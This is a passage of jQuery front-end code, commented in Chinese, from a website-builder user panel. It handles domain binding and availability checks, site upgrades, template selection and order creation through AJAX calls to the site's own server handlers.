//-------------点击"编辑"按钮展开菜单条[end]-------------------- //-------------点击行展开菜单条[start]------------------------- $('.message_row').click(function () { if ($(this).find('.us_line').css('display') == 'block') { $(this).find('.us_line').slideUp('50'); $(this).find('.sub_edit').bind('mouseenter', function () { $(this).css("background-position", "0px -120px"); }).bind('mouseleave', function () { $(this).css("background-position", "0px -90px"); }).css("background-position", "0px -90px"); } else { $(this).find('.us_line').slideDown('100'); $(this).find('.sub_edit').css("background-position", "0px -120px").unbind('mouseenter').unbind('mouseleave'); } }).hover(function () { $(this).css('cursor', 'pointer'); }, function () { $(this).css('cursor', 'default'); }); $('.message_row').find('.message_info,.sub_more').click(function (event) { event.stopPropagation(); }); $('.sub_more').hover(function () { $(this).children('.sub').show(); }, function () { $(this).children('.sub').hide(); }); $(".sub").click(function () { $(this).hide(); }); //-------------分頁show[start]---------------code jason---------- $(".us_page a:eq(0)").hover( function () { $(this).empty(); $(this).append(""); }, function () { $(this).empty(); $(this).append(""); } ); $(".us_page a:eq(1)").hover( function () { $(this).empty(); $(this).append(""); }, function () { $(this).empty(); $(this).append(""); } ); $(".dud_button1").live("click", function () {//花时间去分离了数组 了 不知道还有没有好点的办法。。。。 var strx = $(this).attr("name"); var obj = $(this).parent().parent(); var objbutt = $(this); var index; var result_string = ""; //最终处理结果 var arrss = new Array(); //把值放到数组里面 $(".jasonchen").each(function (i) { arrss[i] = $(this).html(); }); if (arrss.length > 1) {//如果数组是2个以上的集合 做一下处理 for (var i = 0; i < arrss.length; i++) { if (arrss[i] == strx) { index = i; } } var oneofstring = (arrss[index]); var temparrs = arrss.join(',') + ',' var arr = temparrs.replace(oneofstring + ',', ''); var lastIndex = arr.lastIndexOf(','); result_string = arr.substring(0, lastIndex); // alert(result_string); } else if (arrss.length == 1) { result_string = arrss[0]; //alert(result_string); result_string = ""; } else { result_string = ""; } if (true) { var pdtnme = $("#binddomainId").val(); objbutt.empty(); // objbutt.parent().append(msg.wating); objbutt.parent("td").html("...Deletting..."); // objbutt.hide(); $.post("/UserHome/Ajax_Server/Ajax_All_V_ot51st.ashx", { pdtnme: pdtnme, result_string: result_string, typex: "2" }, function (jason) { if (jason == "10000") { obj.remove(); ot5_rigth_ert(msg.delting, "1"); } else if (jason == "TimeOut") { window.location.href = "/users/Login.aspx"; } else { ot5alert(jason, 1); } }, "html"); } }); $(".working_close").hover(function () {//立即開通 $(this).css('cursor', 'pointer'); $(this).click(function () { window.location.href = "/pop/buy/cart.aspx"; }); }); $(".tit").find("h1").click(function () {//如果运行状态为未开通 那么给个死连接 if ($(this).parents(".titul_close").attr("title") == msgg.zhuangtaibuhao) { return false; $(this).parent("a").attr("href", "javascript:void(0);") } }); //-------------点击"编辑"保存sesssingle[start]-------------------- $(".us_line a span").click(function () { var name = $(this).parents().find(".tit h2").html(); s_name = name.substring(0, name.indexOf('.')); if (s_name != "") { $.ajax({ type: "POST", url: "/UserHome/Ajax_Server/Ajax_ForPhp_Session.ashx", data: "s_name=" + s_name, dataType: "html", async: true, success: function (response) { if (response == "TimeOut") { window.location.href = "/users/Login.aspx"; } }, error: function (response) { // alert("err"); } }); } }); //-------------点击"编辑"保存sesssingle[end]--------------------working_normal //-------------点击非正常连接不然点[start]-------------------- $(function () { if ($(".new_left .working_unusual").size() > 0) { $(".new_left .working_unusual").each(function () { $(this).parent(".info").next(".sub_more").next(".sub_edit").attr("href", "javascript:void(0);"); $(this).parent(".info").next(".sub_more").find("ul li:eq(1)").find("a").attr("disabled", "disabled"); if ($(this).prev().attr("class") == "update") { $(this).prev(".update").attr("disabled", "disabled"); } else { // alert("11"); } }); } if ($(".new_left .working_close").size() > 0) { $(".new_left .working_close").each(function () { $(this).parent(".info").next(".sub_more").next(".sub_edit").attr("href", "javascript:void(0);"); $(this).parent(".info").next(".sub_more").find("ul li:eq(1)").find("a").attr("disabled", "disabled"); if ($(this).prev().attr("class") == "update") { $(this).prev(".update").attr("disabled", "disabled"); } else { // alert("11"); } }); } }); //-------------点击非正常连接不然点[end]-------------------- $(".sub").each(function () { $(this).children("ul").children("li").eq(2).children("a").click(function () { delectweb($(this)); }); $(this).children("ul").children(" li").eq(0).children("a").click(function () { webinfo($(this)); //网站基本信息 }); $(this).children("ul").children(" li").eq(1).children("a").click(function () { binddomain($(this)); //域名绑定 }); // $(this).children("ul").children(" li").eq(2).children("a").click(function () { // upgrade($(this)); //升级 // }); // $(this).children("ul").children(" li").eq(3).children("a").click(function () { // binddomain($(this)); //复制站点 // }); }); // $("div.versions").each(function () { $(".update").click(function () { // alert($(this).parent(".info").next(".sub_more").find(".sub>ul").attr("id")); // return false; if ($(this).attr("disabled") == "disabled") { return false; //禁掉 } upgrade($(this).parent(".info").next(".sub_more").find(".sub>ul").attr("id")); }); //}); $(".popclass").click(function () { if (($(this).attr("id") == "youcantopenfreenow") || ($(this).attr("id") == "youcantopenfreenowshop")) { //如果免费开通5个 限制 ot5alert(mess.mostfive, "1"); return false; } /* if ($(this).attr("id") == "freewebsite" || $(this).attr("id") == "freeshop") { $.ajax({ type: "POST", url: '/Ajax_WebServer/Ajax_WebSite.ashx', data: { 'type_code': '3' }, success: function (data) { if (data == "true") { */ $("#getfreeORcharge").val($(this).attr("id")); //标记是免费还是高级收费 $("#dialog-modal").dialog({ // height: 332, width: 633, modal: true, resizable: false }); /* } else { ot5alert(mess.mostfive, "1"); } } }); }*/ }); $("#Name_Next").click(function () { var ismpt = $("#Website_Name").val(); var datacheck = $("#datacheck"); if (ismpt == "") { datacheck.empty(); datacheck.append("" + msg.notEmpty + ""); } else { // var msg = "<%=gbl["gongxi"]%>"; // alert((msg)); datacheck.empty(); datacheck.append("" + msg.Congratulations + ""); close_div(); $("#Website_Domain").dialog({ // height: 623, width: 633, modal: true, resizable: false }); $.post("/Ajax_WebServer/Ajax_get_dome.ashx", { 1: 1 }, function (results) { $("#comornet").empty(); $("#comornet").append(""); $("#comornet").append(results); $("#comornet option:eq(5)").remove(); }, "html"); } }); $("#stepPerv").click(function () {//返回上一部 $("#Website_Domain").dialog("close"); $("#dialog-modal").dialog({ // height: 332, width: 633, modal: true, resizable: false }); }); $("#temple_prev").live("click", function () { $("#choose_temple").dialog("close"); $("#Website_Domain").dialog({ // height: 623, width: 633, modal: true, resizable: false }); }); $("#Website_Name").keydown(function (event) { if (event.keyCode == 13) { var ismpt = $("#Website_Name").val(); var datacheck = $("#datacheck"); if (ismpt == "") { datacheck.empty(); datacheck.append("" + msg.notEmpty + ""); } else { datacheck.empty(); datacheck.append("" + msg.Congratulations + ""); close_div(); $("#Website_Domain").dialog({ // height: 623, width: 633, modal: true, resizable: false }); $.post("/Ajax_WebServer/Ajax_get_dome.ashx", { 1: 1 }, function (results) { $("#comornet").empty(); $("#comornet").append(results); }, "html"); } } }); $("input[name='yearss']").live('click', function () { // if ($(this).attr("checked") == true) { // $(this).parent("td").next("td").children("span").text($(this).val()); // } // else if ($(this).attr("checked") == false) { // $(this).parent("td").next("td").children("span").text(""); // } }); $("#nextstep").click(function () { var New_Domain = $("#New_Domain").val(); var Has_Domain_Msg = $("#Has_Domain_Msg"); var chril_Domain = $("#chril_Domain").val(); var comornet = $("#comornet").val(); var ezsite_prd = $("#getfreeORcharge").val(); var New_Domain_Msg = $("#New_Domain_Msg").text(); //错误提示chril_Domain_check if (New_Domain_Msg == msg.alerdreg) { $("#New_Domain").val(''); //如果註冊一個新域名 注册没通过 那么清空 } if (($("#chril_Domain").val() == "") && ($("#New_Domain").val() == "") && ($("#Has_Domain").val() == "")) { return; } if (($("#chril_Domain").val() == "") && ($("#Has_Domain").val() == "")) { if (New_Domain_Msg == msg.errsate) { return; } } if (($("#chril_Domain").val() == "") && ($("#New_Domain").val() == "")) { if (Has_Domain_Msg.text() != msg.pass) { return; } } if ($("#chril_Domain").val() == "") { $("#chril_Domain").val(makeid()); } if ($("input[name='radio_button']:checked").val() == "2") {//第二個文本是選中的 msg.okreg //"该域名异常!"//不正确的域名! if (New_Domain_Msg == msg.okreg) {// 该域名可以注册 即通过了二级域名又 通过了 新域名 該域名可以註冊 去域名表单那里吧 --------->>>>>> 該域名可以註冊! 该域名异常!该域名可以注册!该域名已被注册 该域名异常! close_Website_Domain(); $("#domian_from").dialog({ width: 845, modal: true, //TODO: resizable: false }); $("#allprice2").html(New_Domain + comornet); //赋值给新域名的表单 $.post("/UserHome/Ajax_Server/Ajax_Domian_From.ashx", { comornet: comornet }, function (result) { if (result == "TimeOut") { window.location.href = "/users/Login.aspx"; } $("#reg_years").empty(); $("#reg_years").append(result); }, "html"); //弹出的div的 show 出用户余额 $.post("/UserHome/Ajax_Server/Ajax_getmemmny.ashx", { 1: 1 }, function (data) { if (data == "TimeOut") { window.location.href = "/users/Login.aspx"; } $("#getmonytype").empty(); $("#getmonytype").append(data); }, "html"); } } else if (($("input[name='radio_button']:checked").val() == "1") && ($("#chril_Domain_check").text() == msg.domereg)) {/////此二级域名可以注册! domereg 直接去模版那里开通建站吧~ close_Website_Domain(); $("#Has_Domain").val(""); $("#choose_temple").dialog({ // height: 730, width: 633, modal: true, resizable: false, position: [318, 177] }); InitTable(0, ezsite_prd); /// 选模版 } else if (($("input[name='radio_button']:checked").val() == "3") && ($("#Has_Domain_Msg").text() == msg.pass)) {//檢測通過 close_Website_Domain(); $("#choose_temple").dialog({ // height: 730, width: 633, modal: true, resizable: false, position: [318, 177] }); InitTable(0, ezsite_prd); /// 选模版 } }); $("#chril_Domain,#New_Domain,#Has_Domain").keydown(function (event) { if (event.keyCode == 13) { var New_Domain = $("#New_Domain").val(); var Has_Domain_Msg = $("#Has_Domain_Msg"); var chril_Domain = $("#chril_Domain").val(); var comornet = $("#comornet").val(); var ezsite_prd = $("#getfreeORcharge").val(); var New_Domain_Msg = $("#New_Domain_Msg").text(); //错误提示chril_Domain_check if (New_Domain_Msg == msg.alerdreg) {//该域名已被注册! $("#New_Domain").val(''); //如果註冊一個新域名 注册没通过 那么清空 } if (($("#chril_Domain").val() == "") && ($("#New_Domain").val() == "") && ($("#Has_Domain").val() == "")) { return; } if (($("#chril_Domain").val() == "") && ($("#Has_Domain").val() == "")) { if (New_Domain_Msg == msg.errsate) {//"该域名异常!" return; } } if (($("#chril_Domain").val() == "") && ($("#New_Domain").val() == "")) { if (Has_Domain_Msg.text() != msg.pass) {//"檢測通過!" return; } } if ($("#chril_Domain").val() == "") { $("#chril_Domain").val(makeid()); } if ($("input[name='radio_button']:checked").val() == "2") {//第二個文本是選中的 if (New_Domain_Msg == msg.okreg) {//該域名可以註冊! 即通过了二级域名又 通过了 新域名 去域名表单那里吧 --------->>>>>> 該域名可於註冊 该域名异常!该域名可以注册!该域名已被注册 close_Website_Domain(); $("#domian_from").dialog({ width: 845, modal: true, //TODO: resizable: false }); $("#allprice2").html(New_Domain + comornet); //赋值给新域名的表单 $.post("/UserHome/Ajax_Server/Ajax_Domian_From.ashx", { comornet: comornet }, function (result) { if (result == "TimeOut") { window.location.href = "/users/Login.aspx"; } $("#reg_years").empty(); $("#reg_years").append(result); }, "html"); //弹出的div的 show 出用户余额 $.post("/UserHome/Ajax_Server/Ajax_getmemmny.ashx", { 1: 1 }, function (data) { if (data == "TimeOut") { window.location.href = "/users/Login.aspx"; } $("#getmonytype").empty(); $("#getmonytype").append(data); }, "html"); } } else if (($("input[name='radio_button']:checked").val() == "1") && ($("#chril_Domain_check").text() == msg.domereg)) {// 此二级域名可以注册!///直接去模版那里开通建站吧~ close_Website_Domain(); $("#choose_temple").dialog({ // height: 730, width: 633, modal: true, resizable: false, position: [318, 177] }); InitTable(0, ezsite_prd); /// 选模版 } else if (($("input[name='radio_button']:checked").val() == "3") && ($("#Has_Domain_Msg").text() == msg.pass)) {// "檢測通過!" close_Website_Domain(); $("#choose_temple").dialog({ // height: 730, width: 633, modal: true, resizable: false, position: [318, 177] }); InitTable(0, ezsite_prd); /// 选模版 } } }); $("#upgrade_Jason").click(function () { var str = $("#User_Web_Info").attr("lang"); // alert(str); $("#User_Web_Info").dialog({ width: 770, modal: true, resizable: false }); $("#accordion").accordion({ autoHeight: false, active: 1 }); //升级服务 var aaa = document.getElementById('Clear2'); aaa.disabled = true; //使用true或false,控制是否让按钮禁用 $.post("../../Ajax_WebServer/Ajax_UserSingle_Upgrade.ashx", { str: str }, function (upgrade) { if (upgrade == "TimeOut") { window.location.href = "/users/Login.aspx"; } else { $("#upgrade").empty(); $("#upgrade").append(upgrade); var aaa = document.getElementById('Clear2'); aaa.disabled =false; //使用true或false,控制是否让按钮禁用 } }, "html"); }); $("#webInfo_Jason").click(function () { var str = $("#User_Web_Info").attr("lang"); $("#User_Web_Info").dialog({ width: 770, modal: true, resizable: false }); $("#accordion").accordion({ autoHeight: false, active: 0 }); //详细信息 $.post("/Ajax_WebServer/Ajax_UserSingle_WebInfo.ashx", { str: str }, function (info) { $("#User_Web_Info").attr("lang", str); $("#webinfo").empty(); $("#webinfo").append(info); }, "html"); }); $("#chril_Domain").focus(function () { jQuery("input[type='radio'][name='radio_button'][value='1']").attr("checked", "checked"); //此时value=1 表示选中 }); $("#chril_Domain").keyup(function () {//检查数据库是否已经存在此二级域名 var s_nme = $("#chril_Domain").val(); var chril_Domain_check = $("#chril_Domain_check") // jQuery("input[type='radio'][name='radio_button'][value='1']").attr("checked", "checked"); //此时value=1 表示选中 var isornot = isDigit1(s_nme); //正则表达式检查是否否和要求 if ((isornot == false) || (s_nme.length < 5)) { // $("#chril_Domain").val(""); chril_Domain_check.empty(); chril_Domain_check.append("" + msg.zhuhe + ""); //5-16位字母或数字组合! } if (s_nme.length >= 5 && isornot == true) { chril_Domain_check.empty(); chril_Domain_check.append(""); $.post("/Ajax_WebServer/Ajax_Check_Data.ashx", { s_nme: s_nme }, function (data) { if (data == 0) { chril_Domain_check.empty(); chril_Domain_check.append("" + msg.aldrdome + ""); //此二级域名已经存在请换一个! } else if (data == 1) { chril_Domain_check.empty(); chril_Domain_check.append("" + msg.domereg + ""); //此二级域名可以注册! } else if (data == "TimeOut") { window.location.href = "/users/Login.aspx"; } }, "html"); } }); $("#New_Domain").focus(function () { jQuery("input[type='radio'][name='radio_button'][value='2']").attr("checked", "checked"); //此时value=2 表示选中 $("#New_Domain_Msg").empty(); }); $("#New_Domain").blur(function () { if ($(this).val().length == 0) { jQuery("input[type='radio'][name='radio_button'][value='2']").attr("checked", false); //此时value=2 表示选中 } }); $("#check_domain").click(function () { // alert($("input[name='radio_button']:checked").val()); var New_Domain = $("#New_Domain").val(); var comornet = $("#comornet").val(); var New_Domain_Msg = $("#New_Domain_Msg"); if (New_Domain.length > 3) { New_Domain_Msg.empty(); New_Domain_Msg.append(""); $.ajax({ type: "POST", url: "/Ajax_WebServer/Ajax_Check_NexDomain.ashx", data: "New_Domain=" + New_Domain + "&comornet=" + comornet + "&rdn=" + Math.random(), success: function (data) { if (data == 0) { New_Domain_Msg.empty(); New_Domain_Msg.append("" + msg.alerdreg + ""); } //该域名已被注册! else if (data == 1) { New_Domain_Msg.empty(); New_Domain_Msg.append("" + msg.okreg + ""); } //該域名可以註冊! else if (data == 2) { New_Domain_Msg.empty(); New_Domain_Msg.append("" + msg.errsate + ""); //该域名异常! } else if (data == "TimeOut") { window.location.href = "/users/Login.aspx"; } } }); } else if (New_Domain.length == 0) { New_Domain_Msg.empty(); } }); $("#Has_Domain").focus(function () { jQuery("input[type='radio'][name='radio_button'][value='3']").attr("checked", "checked"); //此时value=3 表示选中 }); $("#Has_Domain").blur(function () { if ($(this).val().length == 0) { jQuery("input[type='radio'][name='radio_button'][value='3']").attr("checked", false); //此时value=3 表示选中 } }); $("#suerdiv").click(function () { $("#confrim").dialog("close"); var chril_Domain = $("#chril_Domain").val(); //二级域名 $.post("/Ajax_WebServer/Ajax_User_Pay_Rez.ashx", { chril_Domain: chril_Domain }, function (data) { if (data == 0) { } else { alert(data); } }, "html"); }); $("#Has_Domain").keyup(function () { var Has_Domain_Msg = $("#Has_Domain_Msg"); if ($(this).val().length < 5) { Has_Domain_Msg.empty(); Has_Domain_Msg.append("" + msg.limdome + ""); //域名不低於4位有效字符! } else { if (isdomain($(this).val()) == false) { Has_Domain_Msg.empty(); Has_Domain_Msg.append("" + msg.plseas + ""); //請輸入正確的域名! } else { Has_Domain_Msg.empty(); Has_Domain_Msg.append("" + msg.pass + ""); //檢測通過! } } }); // $("#ot5_dme_new").click(function () { // $(this).val(""); // }); $("#sxss").live("click", function () {//域名绑定 var ot5_dme_new = $("#ot5_dme_new").val(); var free_or = $("#free_or").val(); if (ot5_dme_new.length < 5) { $("#ot5_dme_new").val(""); return false; } if (isdomain(ot5_dme_new) == false) { ot5alert(msg.plseas, "1"); //請輸入正確的域名! $("#ot5_dme_new").val(""); return false; } if (free_or == "1") { var times = ot5_dme_new.split(',').length; if ($("table.us_table1 .jasonchen").size() > 0) {///判读 是否存在一个域名了 ot5alert(msg.isorry, "1"); //對不起!您只能綁定一個域名,趕快升級吧!可以綁定多個域名! $("#ot5_dme_new").val(""); return false; } if (times > 1) { ot5alert(msg.stailing, "1"); //您只能綁定一個域名! $("#ot5_dme_new").val(""); return false; } } if (free_or == "10") { var times = ot5_dme_new.split(',').length; if (times >= 10) { ot5alert(msg.ybind, "1"); //您只能綁定10個域名! $("#ot5_dme_new").val(""); return false; } } var items = ""; var times = ""; $(".jasonchen").each(function (i) { items += ($(this).html()) + ","; }); times = $(".jasonchen").size(); if (times >= 10) { ot5alert(msg.ybind, "1"); //您只能綁定10個域名! $("#ot5_dme_new").val(""); return false; } var str = $("#binddomainId").val(); //网站名称 var domians = $("#ot5_dme_new").val(); //输入的域名 if (str != "" && domians != "") { var domian = (items + domians); $("#loading_div").show(); //加载中 $("#binddime").dialog("close"); //影藏绑定输入div $.post("/Ajax_WebServer/Ajax_UserSingle_binddomain.ashx", { str: str, domian: domian }, function (upgrade) { if (upgrade == "TimeOut") { window.location.href = "/users/Login.aspx"; } else { $("#loading_div").hide(); //加载完成 if (upgrade == "1") { ot5alert(msg.conts, "1"); //含有特殊字符! } else if (upgrade == "0") { ot5_rigth_ert(msg.binding, "1"); //恭喜,綁定成功! } else { ot5alert(upgrade, "1"); } } }, "html"); } }); $("#vipwebsite").click(function () {//xjd test var str = "1"; var Website_Name = "vip" + makeid(); var chril_Domain = "vip" + makeid(); var ezsite_prd = "vipwebsite"; var years = "1"; $("#loading").dialog({ height: 95, width: 518, modal: true, resizable: false }); $.post("/Ajax_WebServer/Ajax_User_Order.ashx", { template_id: str, Website_Name: Website_Name, chril_Domain: chril_Domain, ezsite_prd: ezsite_prd, years: years }, function (jason) { if (jason == 0) { self.location = "/pop/buy/cart.aspx"; } else { alert(jason); } }, "html"); }); $("btn_sure").click(function () { alert("111"); }); $("#backdiv").click(function () { $("#choose_temple").dialog({ width: 800, modal: true, resizable: false }); }); /////////////9-26 修改 $("#canle").click(function () {//取消 $("#yes_or").dialog("close"); }); $("#canle2").click(function () {//取消2 $("#yes_or2").dialog("close"); }); $("#cancleagan").click(function () { $("#deletwebagian").dialog("close"); }); $("#canle").click(function () {//取消 $("#yes_or").dialog("close"); }); $("#sure.us_ok").click(function (i) {//确定 var str = $("#hostname").val(); var newproid = $(".g_prdtype").val(); $("#yes_or").dialog("close"); var yeaer = $("input:radio[name='yearss'][checked]").next("span").text(); // var tmetpe = $("input:radio[name='yearss'][checked]").next("span").next("span").text(); // alert(tmetpe); var tmetpe = $("input:radio[name='yearss'][checked]").next("span").next("span").next("input").val(); var Real_value = $("input:radio[name='yearss'][checked]").parent("td").next("td").children("span").text(); //选中产品的价值。 if (str.length > 0 && newproid.length > 0) { $.post("/Ajax_WebServer/Ajax_UserSingle_Upgrade_Ing.ashx", { str: str, yeaer: yeaer, newproid: newproid, tmetpe: tmetpe, Real_value: Real_value }, function (data) { if (data == "TimeOut") { window.location.href = "/users/Login.aspx"; } else { if (data == "10000") { ot5_rigth_ert(msg.congr_grd, "1"); //恭喜您!升級成功! location.reload(); } else if (data.substring(0, 5) == "50000") { self.location = "/UserHome/ot5lst/payupgrade/payupgrade.aspx?" + data; } else { ot5alert(data, 1); } } }, "html"); } }); ////////// //10-11日修改//1360 $("#delagan").click(function () { $("#deletwebagian").dialog("close"); $("#yes_or2").dialog({ height: 126, width: 350, modal: true, resizable: false }); }); $("#sure2").click(function () {//确定 var xx = window.location.search; var yy = (xx.substring(1, xx.length)); var zz = obj.find(".jason").val(); //1 表示正常 var uu = obj.find(".chen").val(); $("#yes_or2").dialog("close"); //关闭询问 $("#loading_div").show(); //加载中 $.ajax({ url: 'deleteWeb.aspx', async: true, cache: false, data: 's_nme=' + str + '&' + yy + '&state=' + zz + '&webpage=' + uu, success: function (data) { if (data == "TimeOut") { window.location.href = "/users/Login.aspx"; } $("#loading_div").hide(); //加载完成 if (data.split('||')[0] == "typeone") { window.location.href = data.split('||')[1]; } else if (data.split('||')[0] == "typetwo") { ot5alert(data.split('||')[1].split('|')[0], data.split('||')[1].split('|')[1]); } } }); //window.location.href = "../ot5lst/deleteWeb.aspx?s_nme=" + str + "&" + yy + "&state=" + zz + "&webpage=" + uu; }); }); function close_div() { $("#dialog-modal").dialog("close"); // alert($(this).attr("id")); } function close_Website_Domain() { $("#Website_Domain").dialog("close"); } function gosoye(str) {//首页 var ezsite_prd = $("#getfreeORcharge").val(); $.post("/Ajax_WebServer/Ajax_Templates.ashx", { ezsite_prd: ezsite_prd, rquestpage: str }, function (data) { // if (data == "TimeOut") { // window.location.href = "/users/Login.aspx"; // } $("#choose_temple").empty(); $("#choose_temple").append(data); }, "html"); } function goPage_N() {//下一页 var str = $("#count").text() var ezsite_prd = $("#getfreeORcharge").val(); str++; $.post("/Ajax_WebServer/Ajax_Templates.ashx", { ezsite_prd: ezsite_prd, rquestpage: str }, function (data) { // if (data == "TimeOut") { // window.location.href = "/users/Login.aspx"; // } $("#choose_temple").empty(); $("#choose_temple").append(data); }, "html"); } function goPage_P() {//上一页 var str = $("#count").text(); var ezsite_prd = $("#getfreeORcharge").val(); str--; $.post("/Ajax_WebServer/Ajax_Templates.ashx", { ezsite_prd: ezsite_prd, rquestpage: str }, function (data) { // if (data == "TimeOut") { // window.location.href = "/users/Login.aspx"; // } $("#choose_temple").empty(); $("#choose_temple").append(data); }, "html"); } function postdata(str) {// code by jason $("#choose_temple").dialog("close"); $("#loading").dialog({ height: 95, width: 518, modal: true, resizable: false }); var template_id = str //模板的id var Website_Name = $("#Website_Name").val(); //网站标题 var chril_Domain = $("#chril_Domain").val(); //二级域名 var New_Domain = $("#New_Domain").val(); //新域名 var comornet = $("#comornet").val(); //后缀 .com ,.net var Has_Domain = $("#Has_Domain").val(); //已有域名 // var ezsite_prd = "jzmf100_1007"; var ezsite_prd = $("#getfreeORcharge").val(); //获取 隐藏的id if (ezsite_prd == "deluxewebsite") { var years = $("input[name='website']:checked").val(); } else { var years = $("input[name='shop']:checked").val(); } if (years == "" || years == undefined) { years = "1"; } // alert(ezsite_prd); if ((ezsite_prd != "") && (ezsite_prd != "freewebsite") && (ezsite_prd != "freeshop")) {//高级版 因为这是非免费版 $.post("/Ajax_WebServer/Ajax_User_Order.ashx", { template_id: str, Website_Name: Website_Name, chril_Domain: chril_Domain, New_Domain: New_Domain, Has_Domain: Has_Domain, ezsite_prd: ezsite_prd, years: years }, function (jason) { if (jason == 0) {//表示订单成功 // if (New_Domain.length > 0 && Has_Domain.length > 0) {//新域名不为空并且 已有域名也不为空 // $.post("/Ajax_WebServer/Ajax_UserSingle_binddomain.ashx", { domian: New_Domain + comornet + "," + Has_Domain, str: chril_Domain }, function (json) {//第三部 绑定域名 ///一個開通建站結束後清空的項目 $("#Website_Name").val(""); //网站标题 $("#chril_Domain").val(""); //二级域名 $("#New_Domain").val(""); //新域名 $("#Has_Domain").val(""); //已有域名 $("#datacheck").empty(); //是否通過 $("#chril_Domain_check").empty(); //是否可以註冊 $("#New_Domain_Msg").empty(); //已有的域名 $("#loading").dialog("close"); // ot5alert(msg.ording, "1"); //訂單已經生成,三秒钟後自動跳轉到結算頁面 // setTimeout("self.location='/pop/buy/cart.aspx'", 3000); self.location = "/pop/buy/cart.aspx"; // }); // } } else if (jason = "NoSeesion") {// ot5alert(msg.NoSeesion, "1"); //登录超时 // ot5alert(msg.NoSeesion, "1"); //登录超时 self.location = "/users/Login.aspx"; } else { ///一個開通建站結束後清空的項目 $("#Website_Name").val(""); //网站标题 $("#chril_Domain").val(""); //二级域名 $("#New_Domain").val(""); //新域名 $("#Has_Domain").val(""); //已有域名 $("#datacheck").empty(); //是否通過 $("#chril_Domain_check").empty(); //是否可以註冊 $("#New_Domain_Msg").empty(); //已有的域名 $("#loading").dialog("close"); ot5alert(jason, "1"); //提示框 } }, "html"); } else {// 免費版本 $.post("/Ajax_WebServer/Ajax_User_Order.ashx", { template_id: str, Website_Name: Website_Name, chril_Domain: chril_Domain, New_Domain: New_Domain, Has_Domain: Has_Domain, ezsite_prd: ezsite_prd }, function (data) { if (data == 0) {//表示订单成功 $.post("/Ajax_WebServer/Ajax_User_Pay_Rez.ashx", { chril_Domain: chril_Domain }, function (result) { if (result == 0) { //表示购买、开通啦!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! if (New_Domain.length > 0 && Has_Domain.length > 0) {//新域名不为空并且 已有域名也不为空 $.post("/Ajax_WebServer/Ajax_UserSingle_binddomain.ashx", { domian: New_Domain + comornet + "," + Has_Domain, str: chril_Domain }, function (json) {//第三部 绑定域名 if (json == "TimeOut") { window.location.href = "/users/Login.aspx"; } else { if (json == 0)//绑定成功 { ///一個開通建站結束後清空的項目 $("#Website_Name").val(""); //网站标题 $("#chril_Domain").val(""); //二级域名 $("#New_Domain").val(""); //新域名 $("#Has_Domain").val(""); //已有域名 $("#datacheck").empty(); //是否通過 $("#chril_Domain_check").empty(); //是否可以註冊 $("#New_Domain_Msg").empty(); //已有的域名 $("#loading").dialog("close"); // window.location.href = "../../UserHome/ot5lst/main.aspx?s_nme=" + chril_Domain; if (ezsite_prd == "freeshop") { window.location.href = "/UserHome/ot5lst/webshop.aspx"; } else { window.location.href = "/UserHome/ot5lst/website.aspx"; } } else//绑定不成功 { ///一個開通建站結束後清空的項目 $("#Website_Name").val(""); //网站标题 $("#chril_Domain").val(""); //二级域名 $("#New_Domain").val(""); //新域名 $("#Has_Domain").val(""); //已有域名 $("#datacheck").empty(); //是否通過 $("#chril_Domain_check").empty(); //是否可以註冊 $("#New_Domain_Msg").empty(); //已有的域名 $("#loading").dialog("close"); ot5alert(json, "1"); } } }, "html"); } else if (New_Domain.length == 0 && Has_Domain.length > 0) { //表示 没有新域名 但是有现有的域名 $.post("/Ajax_WebServer/Ajax_UserSingle_binddomain.ashx", { domian: Has_Domain, str: chril_Domain }, function (json) {//第三部 绑定域名 if (json == "TimeOut") { window.location.href = "/users/Login.aspx"; } else { if (json == 0)//绑定成功 { ///一個開通建站結束後清空的項目 $("#Website_Name").val(""); //网站标题 $("#chril_Domain").val(""); //二级域名 $("#New_Domain").val(""); //新域名 $("#Has_Domain").val(""); //已有域名 $("#datacheck").empty(); //是否通過 $("#chril_Domain_check").empty(); //是否可以註冊 $("#New_Domain_Msg").empty(); //已有的域名 $("#loading").dialog("close"); if (ezsite_prd == "freeshop") { window.location.href = "/UserHome/ot5lst/webshop.aspx"; } else { window.location.href = "/UserHome/ot5lst/website.aspx"; } } else//绑定不成功 { ///一個開通建站結束後清空的項目 $("#Website_Name").val(""); //网站标题 $("#chril_Domain").val(""); //二级域名 $("#New_Domain").val(""); //新域名 $("#Has_Domain").val(""); //已有域名 $("#datacheck").empty(); //是否通過 $("#chril_Domain_check").empty(); //是否可以註冊 $("#New_Domain_Msg").empty(); //已有的域名 $("#loading").dialog("close"); ot5alert(json, "1"); } } }, "html"); } else if (New_Domain.length > 0 && Has_Domain.length == 0) {//表示 有新域名 但是没有现有的域名 $.post("/Ajax_WebServer/Ajax_UserSingle_binddomain.ashx", { domian: New_Domain + comornet, str: chril_Domain }, function (json) {//第三部 绑定域名 if (json == "TimeOut") { window.location.href = "/users/Login.aspx"; } else { if (json == 0)//绑定成功 { ///一個開通建站結束後清空的項目 $("#Website_Name").val(""); //网站标题 $("#chril_Domain").val(""); //二级域名 $("#New_Domain").val(""); //新域名 $("#Has_Domain").val(""); //已有域名 $("#datacheck").empty(); //是否通過 $("#chril_Domain_check").empty(); //是否可以註冊 $("#New_Domain_Msg").empty(); //已有的域名 $("#loading").dialog("close"); // window.location.href = "../../UserHome/ot5lst/main.aspx?s_nme=" + chril_Domain; if (ezsite_prd == "freeshop") { window.location.href = "/UserHome/ot5lst/webshop.aspx"; } else { window.location.href = "/UserHome/ot5lst/website.aspx"; } } else//绑定不成功 { ///一個開通建站結束後清空的項目 $("#Website_Name").val(""); //网站标题 $("#chril_Domain").val(""); //二级域名 $("#New_Domain").val(""); //新域名 $("#Has_Domain").val(""); //已有域名 $("#datacheck").empty(); //是否通過 $("#chril_Domain_check").empty(); //是否可以註冊 $("#New_Domain_Msg").empty(); //已有的域名 $("#loading").dialog("close"); ot5alert(json, "1"); } } }, "html"); } else { ///一個開通建站結束後清空的項目 $("#Website_Name").val(""); //网站标题 $("#chril_Domain").val(""); //二级域名 $("#New_Domain").val(""); //新域名 $("#Has_Domain").val(""); //已有域名 $("#datacheck").empty(); //是否通過 $("#chril_Domain_check").empty(); //是否可以註冊 $("#New_Domain_Msg").empty(); //已有的域名 //只有使用Wopop.com的子域名 $("#loading").dialog("close"); // window.location.href = "../../UserHome/ot5lst/main.aspx?s_nme=" + chril_Domain; if (ezsite_prd == "freeshop") { window.location.href = "/UserHome/ot5lst/webshop.aspx"; } else { window.location.href = "/UserHome/ot5lst/website.aspx"; } } } else { ///一個開通建站結束後清空的項目 